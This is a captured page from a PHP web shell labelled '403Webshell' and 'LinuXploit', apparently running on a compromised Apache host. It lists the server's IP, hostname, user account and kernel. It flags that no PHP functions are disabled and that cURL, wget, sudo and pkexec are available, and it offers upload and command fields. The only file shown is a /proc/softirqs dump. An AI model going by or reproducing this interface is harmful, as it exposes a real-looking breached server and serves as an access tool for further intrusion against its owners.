403Webshell
Server IP : 162.214.67.83  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux dedi-13542965.clustter.com.br 5.14.0-687.20.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jun 30 06:22:49 EDT 2026 x86_64
User : pjacortinas ( 1096)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          0          0          1          0          0          0          0          0          1          0
       TIMER:      47357      39342     296608      50335      48607      35895      49361      40558      50165      38430      60599      41509      50164      45612      56464      46038
      NET_TX:          1          0          0          0          0          0          0          0          0          0          0          0          0          0          0          1
      NET_RX:      68154     205834     178409     166017     130331    1682882     156376     236238     226279     172253     128210     204014     243170     148703     163941     100267
       BLOCK:        104         49         92         71        109         79         96        102        122        156        150         93         80         61        125     410879
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:       2425      36790      23147      37477      13135        768      29221      33779      38641      26636       9993      36054      57636       3060      27402      19297
       SCHED:     383397     269677     160160     113003     121842     202374     110118      99103     108495      90269     103605      88470     104588      95676     103963      90772
     HRTIMER:          2          0          0          0          0          0          3         17          0          8          7          0          1         24          0          1
         RCU:     776110     717422     750509     721961     759846    1075892     766351     723460     762932     722431     773074     715398     769691     719057     763196     716887

Youez - 2016 - github.com/yon3zu
LinuXploit